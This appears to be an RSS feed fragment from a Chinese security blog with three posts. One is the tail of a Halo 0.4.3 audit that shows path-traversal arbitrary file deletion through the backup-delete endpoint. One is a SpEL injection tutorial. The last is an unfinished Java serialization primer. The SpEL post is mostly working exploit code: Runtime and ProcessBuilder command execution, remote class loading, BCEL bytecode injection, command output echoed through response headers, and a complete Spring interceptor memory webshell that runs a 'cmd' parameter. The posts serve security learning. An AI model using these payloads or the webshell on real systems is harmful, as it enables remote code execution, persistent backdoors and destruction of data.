&lt;td&gt;3.6.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IEDA&lt;/td&gt;
&lt;td&gt;2025.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;源码下载地址： https://github.com/halo-dev/halo/releases/tag/v0.4.3&lt;/p&gt;
&lt;p&gt;下载完成后解压项目文件，使用 IDEA 以 Maven 方式打开该项目即可&lt;/p&gt;
&lt;p&gt;该系统使用了 H2 Database 作为数据库，不需要像 Mysql 那般操作。&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;src/main/java/cc/ryanc/halo/Application.java &lt;/code&gt;代码中启动项目，如下图所示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/6aac20cb-8c9b-42a9-817f-0489f0918f9f.png&quot; alt=&quot;6aac20cb-8c9b-42a9-817f-0489f0918f9f&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问上述提供的地址 http://localhost:8090 ，进入安装向导&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/13be85b1-e8bb-4543-8bae-cb25bd6c1b3c.png&quot; alt=&quot;13be85b1-e8bb-4543-8bae-cb25bd6c1b3c&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如若遇到报错，可能是依赖未正确下载或加载所致。请尝试重启 IDEA&lt;/li&gt;
&lt;li&gt;如若系统中安装了多个 JDK 版本，请务必前往&lt;code&gt;文件 - 项目结&lt;/code&gt;（英文版请参考截图位置），将 JDK 版本设置为 &lt;strong&gt;JDK1.8_291&lt;/strong&gt;，如下图所示：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0249ff1d-8a95-48b1-897d-3ea81c1b2350.png&quot; alt=&quot;0249ff1d-8a95-48b1-897d-3ea81c1b2350&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;代码审计漏洞挖掘&lt;/h1&gt;
&lt;p&gt;在 Halo 0.4.3 版本中多个依赖存在 CVE 漏洞，可使用较为新版本的 IDEA 在 pom.xml 处查看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ce676cd7-be8c-4fd3-af90-d3c6b6c9cc73.png&quot; alt=&quot;ce676cd7-be8c-4fd3-af90-d3c6b6c9cc73&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;任意文件删除漏洞代码审计&lt;/h1&gt;
&lt;p&gt;梳理文章功能时，发现后台设置下博客备份功能存在一个删除功能，通过抓包发现是根据文件名进行的&lt;/p&gt;
&lt;p&gt;删除操作，可能存在任意文件删除漏洞：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ad001902-0f24-4061-9454-c26e9fd01e74.png&quot; alt=&quot;ad001902-0f24-4061-9454-c26e9fd01e74&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过抓包获取到接口名为 &lt;code&gt;/admin/backup/delBackup&lt;/code&gt; ，通过关键字一一尝试，最终使用&lt;/p&gt;
&lt;p&gt;&lt;code&gt;delBackup&lt;/code&gt; 定位到该接口的 Controller 层代码为 BackupController：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/a51bcf5b-0c79-49ee-81ac-0a1c6c1cd0da.png&quot; alt=&quot;a51bcf5b-0c79-49ee-81ac-0a1c6c1cd0da&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们进入 BackupController 层，具体代码位于第 211 行至第 220 行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/d749ea4a-b9e8-4e10-8192-f027ad28e7ba.png&quot; alt=&quot;d749ea4a-b9e8-4e10-8192-f027ad28e7ba&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步，双击213行的filename参数，通过高亮 &lt;code&gt;fileName &lt;/code&gt;以及 &lt;code&gt;type &lt;/code&gt;参数，在第 215 行处被&lt;/p&gt;
&lt;p&gt;使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/e11070b8-5061-4e5c-b112-9aca7f721bfa.png&quot; alt=&quot;e11070b8-5061-4e5c-b112-9aca7f721bfa&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二步，分析第 215 行，代码拼接了用户的主目录路径加上 &lt;code&gt;/halo/backup/ &lt;/code&gt;加上传递来的&lt;/p&gt;
&lt;p&gt;type 参数加上传递来的 &lt;code&gt;fileName&lt;/code&gt; 参数，最终拼接成一个完整的路径，赋值给 srcPath 参数。其中 type参&lt;/p&gt;
&lt;p&gt;数是其中一个路径&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/502b4b8a-b5a2-4fde-964c-54c7dec71803.png&quot; alt=&quot;502b4b8a-b5a2-4fde-964c-54c7dec71803&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步，通过上图单击 &lt;code&gt;srcPath &lt;/code&gt;的高亮显示，可以看到在第 217 行使用了 FileUtil.del 方法对&lt;/p&gt;
&lt;p&gt;&lt;code&gt;srcPath &lt;/code&gt;进行了操作。将鼠标悬停在该方法处，可以看到是 hutool 组件下的方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/303bfb46-8a45-4c4d-a5a0-7f344ea5342a.png&quot; alt=&quot;303bfb46-8a45-4c4d-a5a0-7f344ea5342a&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上述两步操作中可以看到，该接口并没有任何防止跨目录的操作，从功能点思考可能会造成任意文件删除漏洞。&lt;/p&gt;
&lt;p&gt;最后，在第 217 行处打个断点进行测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/19e9adfd-6492-4f9d-8a1a-1614f5b353f7.png&quot; alt=&quot;19e9adfd-6492-4f9d-8a1a-1614f5b353f7&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞验证&lt;/h2&gt;
&lt;p&gt;在任意文件删除单点漏洞代码审计的最后断点处，我们知道了备份文件的存储路径是C:\Users\powerful\halo\backup\posts&lt;/p&gt;
&lt;p&gt;我们在C盘下新建一个名为&lt;code&gt;1.txt&lt;/code&gt;的文件。点击删除功能点捉包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/c13528a4-d115-4fa8-ac3b-729684c24fe9.png&quot; alt=&quot;c13528a4-d115-4fa8-ac3b-729684c24fe9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在代码审计部分，我们知道 type 和 fileName 参数都拼接到了路径中&lt;/p&gt;
&lt;p&gt;所以这两个参数都可以跨目录实现任意文件删除操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/ffe9b025-e408-45c6-9944-05aa2b6fbbed.png&quot; alt=&quot;ffe9b025-e408-45c6-9944-05aa2b6fbbed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;删除成功&lt;/p&gt;
</content:encoded></item><item><title>Java的SPEL表达式注入</title><link>https://origin618.github.io/posts/java%E7%9A%84spel%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/</link><guid isPermaLink="true">https://origin618.github.io/posts/java%E7%9A%84spel%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/</guid><description>Java的SPEL表达式注入</description><pubDate>Wed, 05 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;pom.xml引入Spring，直接导入Spring core 等库可能会出现ClassNotFound&lt;/h3&gt;
&lt;h3&gt;注意：这里使用2.7.18是因为笔者的Java版本是JDK1.&lt;/h3&gt;
&lt;h1&gt;定界符&lt;/h1&gt;
&lt;h3&gt;#{} : 花括号内的内容将被解析为SPEL语句&lt;/h3&gt;
&lt;h3&gt;${} : 单纯的占位符&lt;/h3&gt;
&lt;h1&gt;T()表达式&lt;/h1&gt;
&lt;h3&gt;被T()包围的内容会被解析为一个类，比如java.lang.String，java.lang.Runtime&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
&amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt;
&amp;lt;version&amp;gt; 2. 7. 18 &amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
package org.example;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpringSpelTest {
public static void main(String[] args) {
String cmdStr = &quot;T(java.lang.String)&quot;;
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
String result = parser.parseExpression(cmdStr).getValue(evaluationContext).toString();
System.out.println(result);
}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;运算符类型 运算符&lt;/h3&gt;
&lt;h3&gt;算数运算 +, -, *, /, %, ^&lt;/h3&gt;
&lt;h3&gt;关系运算 &amp;lt;, &amp;gt;, ==, &amp;lt;=, &amp;gt;=, lt, gt, eq, le, ge&lt;/h3&gt;
&lt;h3&gt;逻辑运算 and, or, not,!&lt;/h3&gt;
&lt;h3&gt;条件运算 ?:(ternary), ?:(Elvis)&lt;/h3&gt;
&lt;h3&gt;正则表达式 matches&lt;/h3&gt;
&lt;h3&gt;运算符 符号 文本类型&lt;/h3&gt;
&lt;h3&gt;等于 == eq&lt;/h3&gt;
&lt;h3&gt;小于 &amp;lt; lt&lt;/h3&gt;
&lt;h3&gt;小于等于 &amp;lt;= le&lt;/h3&gt;
&lt;h3&gt;大于 &amp;gt; gt&lt;/h3&gt;
&lt;h3&gt;大于等于 &amp;gt;= ge&lt;/h3&gt;
&lt;h1&gt;运算符&lt;/h1&gt;
&lt;h1&gt;变量定义和引用&lt;/h1&gt;
&lt;h3&gt;在SpEL表达式中，变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现；在表达式中使用”#variableName”&lt;/h3&gt;
&lt;h3&gt;来引用；除了引用自定义变量，SpEL还允许引用根对象及当前上下文对象：&lt;/h3&gt;
&lt;h3&gt;#this：使用当前正在计算的上下文；&lt;/h3&gt;
&lt;h3&gt;#root：引用容器的root对象；&lt;/h3&gt;
&lt;h3&gt;@something：引用Bean&lt;/h3&gt;
&lt;h1&gt;无回显命令执行&lt;/h1&gt;
&lt;h2&gt;ProcessBuilder&lt;/h2&gt;
&lt;h3&gt;SpEL表达式注入也可以直接通过new的形式初始化一个对象&lt;/h3&gt;
&lt;h2&gt;Runtime&lt;/h2&gt;
&lt;h3&gt;两者都能弹出计算机，但是很无奈回显都是形如：java.lang.ProcessImpl@721e0f4f的对象名，而不是命令执行的结果&lt;/h3&gt;
&lt;h2&gt;ScriptEngine&lt;/h2&gt;
&lt;h3&gt;同样的也可以用javascript或者nashorn来执行java代码&lt;/h3&gt;
&lt;h1&gt;远程类加载&lt;/h1&gt;
&lt;h2&gt;URLClassLoader&lt;/h2&gt;
&lt;h2&gt;AppClassLoader&lt;/h2&gt;
&lt;h3&gt;这个感觉没啥用，图一乐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;String cmdStr = &quot;new java.lang.ProcessBuilder(new String[]{&apos;calc&apos;}).start()&quot;;
String cmdStr = &quot;T(java.lang.Runtime).getRuntime().exec(&apos;calc&apos;)&quot;;
String cmdStr = &quot;new javax.script.ScriptEngineManager().getEngineByName(\&quot;javascript\&quot;).eval(\&quot;s=
[1];s[0]=&apos;calc&apos;;java.lang.Runtime.getRuntime().exec(s);\&quot;)&quot;;
String cmdStr = &quot;new javax.script.ScriptEngineManager().getEngineByName(\&quot;nashorn\&quot;).eval(\&quot;s=
[1];s[0]=&apos;calc&apos;;java.lang.Runtime.getRuntime().exec(s);\&quot;)&quot;;
String cmdStr = &quot;new java.net.URLClassLoader(new java.net.URL[]{new
java.net.URL(&apos;http://127.0.0.1:8000/&apos;)}).loadClass(\&quot;ShellCode\&quot;).newInstance()&quot;;
String cmdStr =
&quot;T(java.lang.ClassLoader).getSystemClassLoader().loadClass(&apos;java.lang.Runtime&apos;).getRuntime().exec(&apos;calc&apos;)&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BCEL字节码注入&lt;/h2&gt;
&lt;h3&gt;随便编写一个恶意类&lt;/h3&gt;
&lt;h3&gt;生成BCEL字节码&lt;/h3&gt;
&lt;h3&gt;SpEL表达式为&lt;/h3&gt;
&lt;h1&gt;有回显输出&lt;/h1&gt;
&lt;h2&gt;输出首行&lt;/h2&gt;
&lt;h2&gt;完整输出&lt;/h2&gt;
&lt;h2&gt;BufferedReader + Collectors&lt;/h2&gt;
&lt;h2&gt;Scanner&lt;/h2&gt;
&lt;h3&gt;useDelimiter是指定分隔符的方法，输入任意内容即可&lt;/h3&gt;
&lt;h3&gt;以上PAYLOAD如果是通过HTTP请求发包的形式传参，那么就把引号的转义去掉即可，后面也一样&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package org.example;
import java.io.IOException;
public class CMD2 {
static {
try {
Runtime.getRuntime().exec(&quot;calc&quot;);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BCELtest {
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException,
ClassNotFoundException {
JavaClass javaClass = Repository.lookupClass(CMD2.class);
String classCode = Utility.encode(javaClass.getBytes(),true);
String payload = &quot;$$BCEL$$&quot; + classCode;
System.out.println(payload);
}
}
String cmdStr = &quot;T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({\&quot;BCEL字节码放这\&quot;})}&quot;;
String cmdStr = &quot;new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\&quot;cmd\&quot;, \&quot;/c\&quot;,
\&quot;whoami\&quot;).start().getInputStream(), \&quot;gbk\&quot;)).readLine()&quot;
String cmdStr = &quot;new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\&quot;cmd\&quot;, \&quot;/c\&quot;,
\&quot;dir\&quot;).start().getInputStream(), \&quot;gbk\&quot;)).lines().collect(T(java.util.stream.Collectors).joining(\&quot;\n\&quot;))&quot;;
String cmdStr = &quot;new java.util.Scanner(new java.lang.ProcessBuilder(\&quot;cmd\&quot;, \&quot;/c\&quot;, \&quot;dir\&quot;,
\&quot;.\\\&quot;).start().getInputStream(), \&quot;GBK\&quot;).useDelimiter(\&quot;asdas\&quot;).next()&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;上下文response&lt;/h2&gt;
&lt;h3&gt;如果Spring的路由方法处理了HttpServletResponse response，我们可以通过操作上下文的response，然后添加Header的形式来回显&lt;/h3&gt;
&lt;h3&gt;写一个SpringSpelController.java&lt;/h3&gt;
&lt;h3&gt;这个代码的意思是定义一个路由，然后把SPEL的结果反应到Response里&lt;/h3&gt;
&lt;h3&gt;原来的SpringSpelTest.java则修改为启动Spring服务器的代码&lt;/h3&gt;
&lt;h3&gt;修改项目的JVM启动项：-Dserver.port=80，否则tomcat容器将以本地 8080 为默认端口，不好抓包&lt;/h3&gt;
&lt;h3&gt;抓包发包可以看到，Header多了一个x-cmd，其内容正好是我们的whoami&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package org.example;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.stereotype.Controller;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletResponse;
@Controller
public class SpringSpelController {
@RequestMapping({&quot;/spel&quot;})
@ResponseBody
public String spel(String payload, HttpServletResponse response) {
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable(&quot;response&quot;, response);
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
Expression exp = parser.parseExpression(payload);
return (String) exp.getValue(context);
}
}
package org.example;
import java.io.IOException;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class SpringSpelTest {
public static void main(String[] args) throws IOException {
SpringApplication.run(SpringSpelTest.class, args);
}
}
payload=#response.addHeader(&apos;x-cmd&apos;,new java.io.BufferedReader(new java.io.InputStreamReader(new
ProcessBuilder(&quot;cmd&quot;, &quot;/c&quot;, &quot;whoami&quot;).start().getInputStream(), &quot;gbk&quot;)).readLine())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;当然，这样做会导致命令执行的结果存在中文时导致报错，我们可以先把它URLencode一下，或者Base64加密&lt;/h3&gt;
&lt;h2&gt;内存马&lt;/h2&gt;
&lt;h3&gt;先把最终payload放出来&lt;/h3&gt;
&lt;h3&gt;由于是MVC架构，那么想添加路由就必须打内存马，最终目的就是动态加载一个恶意类，并实例化，也就是需要找到一个合适的defineClass&lt;/h3&gt;
&lt;h3&gt;方法：&lt;/h3&gt;
&lt;h3&gt;它最好来自org.springframework，这样可以避免引入其他类型&lt;/h3&gt;
&lt;h3&gt;能够解析base64编码或者url编码的内容&lt;/h3&gt;
&lt;h3&gt;这里找到了org.springframework.cglib.core.ReflectUtils&lt;/h3&gt;
&lt;h3&gt;有了defineClass方法，自然就需要一个ClassLoader，因为是MVC架构，自然需要获取当前Spring线程的ClassLoader&lt;/h3&gt;
&lt;h3&gt;也就是java.lang.Thread.currentThread().getContextClassLoader()&lt;/h3&gt;
&lt;h3&gt;第一个Payload使用的MLet类实际上是URLClassLoader，它能够加载任意类，虽然长了点但是兼容性没有问题&lt;/h3&gt;
&lt;h3&gt;最后编写一个恶意类，既然想要添加内存马，那么就需要使用Spring的类，最终的代码如下：&lt;/h3&gt;
&lt;h3&gt;参考：&lt;/h3&gt;
&lt;h3&gt;文章 - Spring内存马——Controller/Interceptor构造 - 先知社区&lt;/h3&gt;
&lt;h3&gt;SpringBoot Interceptor 内存马 - zpchcbd - 博客园&lt;/h3&gt;
&lt;h3&gt;Spring型内存马 | stoocea&apos;s blog&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;payload=#response.addHeader(&apos;x-cmd&apos;,T(java.net.URLEncoder).encode(new java.util.Scanner(new
java.lang.ProcessBuilder(&quot;cmd&quot;, &quot;/c&quot;, &quot;dir&quot;, &quot;.\\&quot;).start().getInputStream(),
&quot;gbk&quot;).useDelimiter(&quot;asdas&quot;).next()))
payload=#response.addHeader(&apos;x-cmd&apos;,T(java.util.Base64).getEncoder().encodeToString(new java.util.Scanner(new
java.lang.ProcessBuilder(&quot;cmd&quot;, &quot;/c&quot;, &quot;dir&quot;, &quot;.\\&quot;).start().getInputStream(),
&quot;GBK&quot;).useDelimiter(&quot;asdas&quot;).next().getBytes()))
payload=T(org.springframework.cglib.core.ReflectUtils).defineClass(&apos;InceptorMemShell&apos;,T(org.springframework.ut
il.Base64Utils).decodeFromString(&apos;yv66vgAAA....&apos;),new javax.management.loading.MLet(new
java.net.URL[ 0 ],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()
//这里可以用#{}包起来，视情况而定，我这里就不行
payload=T(org.springframework.cglib.core.ReflectUtils).defineClass(&apos;InceptorMemShell&apos;,T(org.springframework.ut
il.Base64Utils).decodeFromString(&apos;&apos;),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance(
)
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;&lt;/p&gt;
&lt;p&gt;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;&lt;/p&gt;
&lt;p&gt;public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {&lt;/p&gt;
&lt;p&gt;static {
System.out.println(&quot;start&quot;);
WebApplicationContext context = (WebApplicationContext)
RequestContextHolder.currentRequestAttributes().getAttribute(&quot;org.springframework.web.servlet.DispatcherServle
t.CONTEXT&quot;, 0 );
RequestMappingHandlerMapping mappingHandlerMapping =
context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField(&quot;adaptedInterceptors&quot;);
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List adaptInterceptors = null;
try {
adaptInterceptors = (List) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println(&quot;ok&quot;);
}&lt;/p&gt;
&lt;p&gt;@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws
Exception {
String cmd = request.getParameter(&quot;cmd&quot;);
if (cmd != null) {
try {
response.setCharacterEncoding(&quot;gbk&quot;);
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = &quot;&quot;;
if (System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;win&quot;)) {
builder = new ProcessBuilder(new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, cmd});
} else {
builder = new ProcessBuilder(new String[]{&quot;/bin/bash&quot;, &quot;-c&quot;, cmd});
}
java.util.Scanner c = new
java.util.Scanner(builder.start().getInputStream(),&quot;gbk&quot;).useDelimiter(&quot;wocaosinidema&quot;);
o = c.hasNext()? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}&lt;/p&gt;
&lt;p&gt;@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}&lt;/p&gt;
&lt;p&gt;@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler,
Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);&lt;/p&gt;
&lt;h3&gt;然后在内存马同目录下，写如下代码来获取Base64加密的恶意类字节码&lt;/h3&gt;
&lt;h3&gt;注意，如果要HTTP请求的方式发包，就要把+号这种会被解析为空格的符号URL编码为%2b，否则会报错%20无法被Base64解析&lt;/h3&gt;
&lt;h3&gt;最后的payload形如&lt;/h3&gt;
&lt;h3&gt;这里比较复杂，如果内存马打成功了，则会在后台报错，在实战中，把start和ok的System.out删除即可&lt;/h3&gt;
&lt;h4&gt;}&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws
TransletException {
}
}
import com.sun.org.apache.bcel.internal.Repository;
import java.io.IOException;
import java.util.Base64;
public class ClasstoBase64 {
public static void main(String[] args) throws IOException {
byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(InceptorMemShell.class).getBytes());
System.out.println(new String(encode).replace(&quot;+&quot;,&quot;%2b&quot;));
}
}
payload=T(org.springframework.cglib.core.ReflectUtils).defineClass(&apos;InceptorMemShell&apos;,T(org.springframework.ut
il.Base64Utils).decodeFromString(&apos;yv66vgAAA......AEAiAAAAAIAiQ==&apos;),new javax.management.loading.MLet(new
java.net.URL[ 0 ],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()
start
ok
2025 - 02 - 27 09 : 26 :27.068 ERROR 5696 --- [p-nio- 80 - exec- 7 ] o.a.c.c.C.[.[.[/].[dispatcherServlet] :
Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing
failed; nested exception is java.lang.ClassCastException: InceptorMemShell cannot be cast to java.lang.String]
with root cause
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;最后访问任意路由即可，传参则为cmd&lt;/h3&gt;
&lt;p&gt;This is a offline tool, your data stays locally and is not send to any server!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jzillmann/pdf-to-markdown/issues&quot;&gt;Feedback &amp;amp; Bug Reports&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>反序列化与序列化</title><link>https://origin618.github.io/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%BA%8F%E5%88%97%E5%8C%96/</link><guid isPermaLink="true">https://origin618.github.io/posts/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%BA%8F%E5%88%97%E5%8C%96/</guid><description>反序列化与序列化</description><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;反序列化与序列化基础&lt;/h2&gt;
&lt;p&gt;先写一个Person类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Person implements java.io.Serializable{
    private String name;
    private int age;

    public Person() {

    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return &quot;Person{&quot; +
                &quot;name=&apos;&quot; + name + &apos;\&apos;&apos; +
                &quot;, age=&quot; + age +
                &apos;}&apos;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再写一个SerializationTest&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser.bin&quot;));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        Person person = new Person(&quot;aa&quot;, 22);
        System.out.println(person);
        //  SerializationTest.serialize(person);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个非常硬核且关键的 Java 机制问题！&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;简单的回答是：这是 Java 序列化规范的强制规定。JVM 在反序列化时，只认 &lt;code&gt;private&lt;/code&gt; 签名的 &lt;code&gt;readObject&lt;/code&gt; 方法。如果是 &lt;code&gt;public&lt;/code&gt;，它就不认了，直接忽略你的代码。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;让我们深入到底层，看看为什么会这样：&lt;/p&gt;
&lt;h3&gt;1. “魔法方法”的严格签名&lt;/h3&gt;
&lt;p&gt;在 Java 的 &lt;code&gt;Serializable&lt;/code&gt; 接口定义中，&lt;code&gt;readObject&lt;/code&gt; 被设计为一个&lt;strong&gt;回调方法（Callback）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;ObjectInputStream&lt;/code&gt; 试图反序列化一个对象时，它会通过**反射（Reflection）**机制去检查这个类有没有定义一个“特殊”的方法来处理反序列化逻辑。&lt;/p&gt;
&lt;p&gt;Java 官方文档和源码对这个“特殊”方法的签名要求极其严格，必须&lt;strong&gt;一字不差&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;Java&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private void readObject(java.io.ObjectInputStream stream)
     throws IOException, ClassNotFoundException;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意那个 &lt;strong&gt;&lt;code&gt;private&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;2. 为什么 &lt;code&gt;public&lt;/code&gt; 不行？&lt;/h3&gt;
&lt;p&gt;当你把它改成 &lt;code&gt;public void readObject(...)&lt;/code&gt; 时：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;反射查找失败（或被跳过）：&lt;/strong&gt; &lt;code&gt;ObjectInputStream&lt;/code&gt; 在内部逻辑中（具体是在 &lt;code&gt;ObjectStreamClass&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item></channel></rss>